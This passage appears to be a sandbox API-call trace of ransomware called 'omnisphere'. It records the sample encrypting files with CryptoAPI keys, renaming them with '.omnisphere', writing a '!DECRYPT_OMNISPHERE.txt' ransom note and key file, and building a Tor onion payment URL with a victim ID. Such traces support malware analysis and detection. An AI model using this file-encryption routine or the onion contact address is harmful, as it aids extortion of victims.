lpString1="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\7sYqE1e.lnk.omnisphere.id") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\7sYqE1e.lnk.omnisphere.id" [0119.173] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\7sYqE1e.lnk.omnisphere.id" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\7syqe1e.lnk.omnisphere.id"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c0 [0119.175] WriteFile (in: hFile=0x3c0, lpBuffer=0x3e0d274*, nNumberOfBytesToWrite=0x524, lpNumberOfBytesWritten=0x3e0d25c, lpOverlapped=0x0 | out: lpBuffer=0x3e0d274*, lpNumberOfBytesWritten=0x3e0d25c*=0x524, lpOverlapped=0x0) returned 1 [0119.177] CloseHandle (hObject=0x3c0) returned 1 [0119.178] UnmapViewOfFile (lpBaseAddress=0x1480000) returned 1 [0119.178] CloseHandle (hObject=0x288) returned 1 [0119.178] SetEndOfFile (hFile=0x28c) returned 1 [0119.178] FlushFileBuffers (hFile=0x28c) returned 1 [0119.185] CloseHandle (hObject=0x28c) returned 1 [0119.185] PathRemoveFileSpecW (in: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\7sYqE1e.lnk" | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent") returned 1 [0119.185] GetProcessHeap () returned 0x1600000 [0119.185] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x515) returned 0x16b2340 [0119.185] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="http://uu6issmbncd3wjkm.onion/", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0119.185] GetProcessHeap () returned 0x1600000 [0119.185] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x1f) returned 0x16b2220 [0119.185] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="http://uu6issmbncd3wjkm.onion/", cchWideChar=30, lpMultiByteStr=0x16b2220, cbMultiByte=31, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="http://uu6issmbncd3wjkm.onion/", lpUsedDefaultChar=0x0) returned 30 [0119.185] lstrcatA (in: lpString1="", lpString2="http://uu6issmbncd3wjkm.onion/" | out: lpString1="http://uu6issmbncd3wjkm.onion/") returned="http://uu6issmbncd3wjkm.onion/" [0119.185] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="RHPZ2AXYR2V4JCIV", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0119.186] GetProcessHeap () returned 0x1600000 [0119.186] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x11) returned 0x16afec8 [0119.186] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="RHPZ2AXYR2V4JCIV", cchWideChar=16, lpMultiByteStr=0x16afec8, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="RHPZ2AXYR2V4JCIV", lpUsedDefaultChar=0x0) returned 16 [0119.186] lstrcatA (in: lpString1="http://uu6issmbncd3wjkm.onion/", lpString2="RHPZ2AXYR2V4JCIV" | out: lpString1="http://uu6issmbncd3wjkm.onion/RHPZ2AXYR2V4JCIV") returned="http://uu6issmbncd3wjkm.onion/RHPZ2AXYR2V4JCIV" [0119.186] GetProcessHeap () returned 0x1600000 [0119.186] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0xb0) returned 0x16a1338 [0119.186] PathCombineW (in: pszDest=0x16a1338, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent", pszFile="!DECRYPT_OMNISPHERE.txt" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\!DECRYPT_OMNISPHERE.txt") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\!DECRYPT_OMNISPHERE.txt" [0119.186] GetProcessHeap () returned 0x1600000 [0119.186] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x589) returned 0x16a6e30 [0119.186] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\!DECRYPT_OMNISPHERE.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\!decrypt_omnisphere.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x28c [0119.186] WriteFile (in: hFile=0x28c, lpBuffer=0x16a6e30*, nNumberOfBytesToWrite=0x588, lpNumberOfBytesWritten=0x3e0d7f4, lpOverlapped=0x0 | out: lpBuffer=0x16a6e30*, lpNumberOfBytesWritten=0x3e0d7f4*=0x588, lpOverlapped=0x0) returned 1 [0119.186] CloseHandle (hObject=0x28c) returned 1 [0119.187] GetProcessHeap () returned 0x1600000 [0119.187] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x16b2340 | out: hHeap=0x1600000) returned 1 [0119.187] GetProcessHeap () returned 0x1600000 [0119.187] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0xa6) returned 0x162cec8 [0119.187] PathCombineW (in: pszDest=0x162cec8, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent", pszFile="unique_decrypt.key" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\unique_decrypt.key") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\unique_decrypt.key" [0119.187] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\unique_decrypt.key" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\unique_decrypt.key"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x28c [0119.187] WriteFile (in: hFile=0x28c, lpBuffer=0x1647c78*, nNumberOfBytesToWrite=0x5a0, lpNumberOfBytesWritten=0x3e0d808, lpOverlapped=0x0 | out: lpBuffer=0x1647c78*, lpNumberOfBytesWritten=0x3e0d808*=0x5a0, lpOverlapped=0x0) returned 1 [0119.187] CloseHandle (hObject=0x28c) returned 1 [0119.188] GetProcessHeap () returned 0x1600000 [0119.188] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x162cec8 | out: hHeap=0x1600000) returned 1 [0119.188] GetProcessHeap () returned 0x1600000 [0119.188] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x167c168 | out: hHeap=0x1600000) returned 1 [0119.188] FindNextFileW (in: hFindFile=0x16397a8, lpFindFileData=0x3e0daa4 | out: lpFindFileData=0x3e0daa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x222f2ea4, ftCreationTime.dwHighDateTime=0x1d5826d, ftLastAccessTime.dwLowDateTime=0x222f2ea4, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0x222f2ea4, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x266, dwReserved0=0x0, dwReserved1=0xd3, cFileName="8AH6.lnk", cAlternateFileName="")) returned 1 [0119.188] GetProcessHeap () returned 0x1600000 [0119.188] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x92) returned 0x167bb28 [0119.188] PathCombineW (in: pszDest=0x167bb28, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent", pszFile="8AH6.lnk" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\8AH6.lnk") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\8AH6.lnk" [0119.189] StrStrW (lpFirst=".omnisphere", lpSrch=".lnk") returned 0x0 [0119.189] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\8AH6.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\8ah6.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x5, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x28c [0119.189] GetFileSizeEx (in: hFile=0x28c, lpFileSize=0x3e0d7cc | out: lpFileSize=0x3e0d7cc*=614) returned 1 [0119.189] GetTickCount () returned 0x115dc81 [0119.189] GetTickCount () returned 0x115dc81 [0119.189] GetTickCount () returned 0x115dc81 [0119.189] GetTickCount () returned 0x115dc81 [0119.189] GetTickCount () returned 0x115dc81 [0119.189] GetTickCount () returned 0x115dc81 [0119.189] GetTickCount () returned 0x115dc81 [0119.189] GetTickCount () returned 0x115dc81 [0119.189] GetTickCount () returned 0x115dc91 [0119.190] GetTickCount () returned 0x115dc91 [0119.190] GetTickCount () returned 0x115dc91 [0119.190] GetTickCount () returned 0x115dc91 [0119.190] GetTickCount () returned 0x115dc91 [0119.190] GetTickCount () returned 0x115dc91 [0119.190] GetTickCount () returned 0x115dc91 [0119.190] GetTickCount () returned 0x115dc91 [0119.190] GetTickCount () returned 0x115dc91 [0119.190] GetTickCount () returned 0x115dc91 [0119.190] GetTickCount () returned 0x115dc91 [0119.190] GetTickCount () returned 0x115dc91 [0119.190] GetTickCount () returned 0x115dc91 [0119.190] GetTickCount () returned 0x115dc91 [0119.190] GetTickCount () returned 0x115dc91 [0119.190] GetTickCount () returned 0x115dc91 [0119.190] GetTickCount () returned 0x115dc91 [0119.190] GetTickCount () returned 0x115dc91 [0119.190] GetTickCount () returned 0x115dc91 [0119.190] GetTickCount () returned 0x115dc91 [0119.190] GetTickCount () returned 0x115dc91 [0119.190] GetTickCount () returned 0x115dc91 [0119.191] GetTickCount () returned 0x115dc91 [0119.191] GetTickCount () returned 0x115dc91 [0119.191] CryptAcquireContextW (in: phProv=0x3e0d254, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000040 | out: phProv=0x3e0d254*=0x16688a0) returned 1 [0119.191] CryptImportKey (in: hProv=0x16688a0, pbData=0x3e0d1bc, dwDataLen=0x94, hPubKey=0x0, dwFlags=0x0, phKey=0x3e0d260 | out: phKey=0x3e0d260*=0x16394e8) returned 1 [0119.191] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x3e0d70c*, pdwDataLen=0x3e0d250*=0x75, dwBufLen=0x80 | out: pbData=0x3e0d70c*, pdwDataLen=0x3e0d250*=0x80) returned 1 [0119.192] CryptDestroyKey (hKey=0x16394e8) returned 1 [0119.192] CryptReleaseContext (hProv=0x16688a0, dwFlags=0x0) returned 1 [0119.192] CreateFileMappingW (hFile=0x28c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x266, lpName=0x0) returned 0x288 [0119.192] MapViewOfFile (hFileMappingObject=0x288, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x266) returned 0x1480000 [0119.192] CryptAcquireContextW (in: phProv=0x3e0d244, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000040 | out: phProv=0x3e0d244*=0x1668c58) returned 1 [0119.193] CryptImportKey (in: hProv=0x1668c58, pbData=0x3e0d1fc, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x3e0d254 | out: phKey=0x3e0d254*=0x16396a8) returned 1 [0119.193] CryptSetKeyParam (hKey=0x16396a8, dwParam=0x4, pbData=0x3e0d238*=0x2, dwFlags=0x0) returned 1 [0119.193] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x3e0d240*=0x10, dwBufLen=0x10 | out: pbData=0x0*, pdwDataLen=0x3e0d240*=0x10) returned 1 [0119.193] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.193] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.193] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.193] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.193] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.193] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.193] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.193] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.193] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.193] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.194] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.194] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.194] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.194] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.194] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.194] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.194] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.194] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.194] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.194] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.194] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.194] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.194] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.194] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.194] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.194] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.194] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.194] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.194] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.194] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.195] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.195] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.195] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.195] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.195] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.195] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.195] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.195] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.195] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.195] CryptDestroyKey (hKey=0x16396a8) returned 1 [0119.195] CryptReleaseContext (hProv=0x1668c58, dwFlags=0x0) returned 1 [0119.195] SetFilePointerEx (in: hFile=0x28c, liDistanceToMove=0x266, lpNewFilePointer=0x0, dwMoveMethod=0x3e0d7c0 | out: lpNewFilePointer=0x0) returned 1 [0119.195] WriteFile (in: hFile=0x28c, lpBuffer=0x3e0d274*, nNumberOfBytesToWrite=0x524, lpNumberOfBytesWritten=0x3e0d7d4, lpOverlapped=0x0 | out: lpBuffer=0x3e0d274*, lpNumberOfBytesWritten=0x3e0d7d4*=0x524, lpOverlapped=0x0) returned 1 [0119.198] GetProcessHeap () returned 0x1600000 [0119.198] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x2a2) returned 0x16ad300 [0119.198] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\8AH6.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\8ah6.lnk"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\8AH6.lnk.omnisphere" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\8ah6.lnk.omnisphere")) returned 1 [0119.199] lstrcatW (in: lpString1="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\8AH6.lnk.omnisphere", lpString2=".id" | out: lpString1="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\8AH6.lnk.omnisphere.id") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\8AH6.lnk.omnisphere.id" [0119.199] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\8AH6.lnk.omnisphere.id" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\8ah6.lnk.omnisphere.id"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c0 [0119.199] WriteFile (in: hFile=0x3c0, lpBuffer=0x3e0d274*, nNumberOfBytesToWrite=0x524, lpNumberOfBytesWritten=0x3e0d25c, lpOverlapped=0x0 | out: lpBuffer=0x3e0d274*, lpNumberOfBytesWritten=0x3e0d25c*=0x524, lpOverlapped=0x0) returned 1 [0119.201] CloseHandle (hObject=0x3c0) returned 1 [0119.202] UnmapViewOfFile (lpBaseAddress=0x1480000) returned 1 [0119.202] CloseHandle (hObject=0x288) returned 1 [0119.202] SetEndOfFile (hFile=0x28c) returned 1 [0119.203] FlushFileBuffers (hFile=0x28c) returned 1 [0119.261] CloseHandle (hObject=0x28c) returned 1 [0119.262] PathRemoveFileSpecW (in: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\8AH6.lnk" | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent") returned 1 [0119.262] GetProcessHeap () returned 0x1600000 [0119.262] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x515) returned 0x16b2340 [0119.262] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="http://uu6issmbncd3wjkm.onion/", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0119.262] GetProcessHeap () returned 0x1600000 [0119.262] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x1f) returned 0x16b22c0 [0119.262] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="http://uu6issmbncd3wjkm.onion/", cchWideChar=30, lpMultiByteStr=0x16b22c0, cbMultiByte=31, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="http://uu6issmbncd3wjkm.onion/", lpUsedDefaultChar=0x0) returned 30 [0119.262] lstrcatA (in: lpString1="", lpString2="http://uu6issmbncd3wjkm.onion/" | out: lpString1="http://uu6issmbncd3wjkm.onion/") returned="http://uu6issmbncd3wjkm.onion/" [0119.262] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="RHPZ2AXYR2V4JCIV", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0119.262] GetProcessHeap () returned 0x1600000 [0119.262] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x11) returned 0x16afcc8 [0119.262] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="RHPZ2AXYR2V4JCIV", cchWideChar=16, lpMultiByteStr=0x16afcc8, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="RHPZ2AXYR2V4JCIV", lpUsedDefaultChar=0x0) returned 16 [0119.262] lstrcatA (in: lpString1="http://uu6issmbncd3wjkm.onion/", lpString2="RHPZ2AXYR2V4JCIV" | out: lpString1="http://uu6issmbncd3wjkm.onion/RHPZ2AXYR2V4JCIV") returned="http://uu6issmbncd3wjkm.onion/RHPZ2AXYR2V4JCIV" [0119.262] GetProcessHeap () returned 0x1600000 [0119.262] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0xb0) returned 0x16a14a8 [0119.262] PathCombineW (in: pszDest=0x16a14a8, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent", pszFile="!DECRYPT_OMNISPHERE.txt" | out: 